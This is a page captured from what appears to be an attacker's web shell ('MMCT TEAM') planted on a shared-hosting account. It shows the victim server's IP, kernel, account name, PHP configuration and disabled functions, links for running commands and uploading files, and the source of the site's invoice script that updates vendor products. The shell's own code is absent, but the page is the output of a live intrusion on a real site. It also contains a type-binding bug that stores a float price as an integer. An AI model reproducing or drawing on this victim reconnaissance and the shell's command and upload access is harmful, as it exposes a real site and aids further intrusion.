MMCT TEAM
Server IP : 217.21.85.138  /  Your IP : 216.73.216.103
Web Server : LiteSpeed
System : Linux in-mum-web906.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u915722082 ( 915722082)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u915722082/.nvm/../public_html/invoice/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u915722082/.nvm/../public_html/invoice/update_vendor_product.php
<?php
include 'db.php';

if ($_SERVER['REQUEST_METHOD'] == 'POST') {

    $veid       = $_POST['veid'] ?? '';
    $pid        = $_POST['pid'] ?? '';
    $vmaterial  = $_POST['vmaterial'] ?? '';
    $vquan      = isset($_POST['vquanity']) ? intval($_POST['vquanity']) : 0;
    $veprice    = isset($_POST['vprice']) ? floatval($_POST['vprice']) : 0;
    $vetotal    = $vquan * $veprice;

    // First check if product with this veid and pid already exists
    $checkSql = "SELECT vpid FROM vandor_products WHERE veid = ? AND pid = ?";
    $checkStmt = $con->prepare($checkSql);
    $checkStmt->bind_param("ss", $veid, $pid);
    $checkStmt->execute();
    $checkStmt->store_result();

    if ($checkStmt->num_rows > 0) {
        // Update existing record
        $updateSql = "UPDATE vandor_products 
                      SET vmaterial = ?, vquan = ?, veprice = ?, vetotal = ?
                      WHERE veid = ? AND pid = ?";
        $updateStmt = $con->prepare($updateSql);
        $updateStmt->bind_param("siidss", $vmaterial, $vquan, $veprice, $vetotal, $veid, $pid);

        if ($updateStmt->execute()) {
            echo json_encode(['status' => 'updated']);
        } else {
            http_response_code(500);
            echo json_encode(['status' => 'error', 'message' => 'Update failed']);
        }
        $updateStmt->close();
    } else {
        // Insert new record
        $insertSql = "INSERT INTO vandor_products (veid, pid, vmaterial, vquan, veprice, vetotal)
                      VALUES (?, ?, ?, ?, ?, ?)";
        $insertStmt = $con->prepare($insertSql);
        $insertStmt->bind_param("sssidd", $veid, $pid, $vmaterial, $vquan, $veprice, $vetotal);

        if ($insertStmt->execute()) {
            echo json_encode(['status' => 'inserted']);
        } else {
            http_response_code(500);
            echo json_encode(['status' => 'error', 'message' => 'Insert failed']);
        }
        $insertStmt->close();
    }

    $checkStmt->close();
} else {
    http_response_code(405);
    echo json_encode(['status' => 'error', 'message' => 'Invalid request method']);
}
?>

MMCT - 2023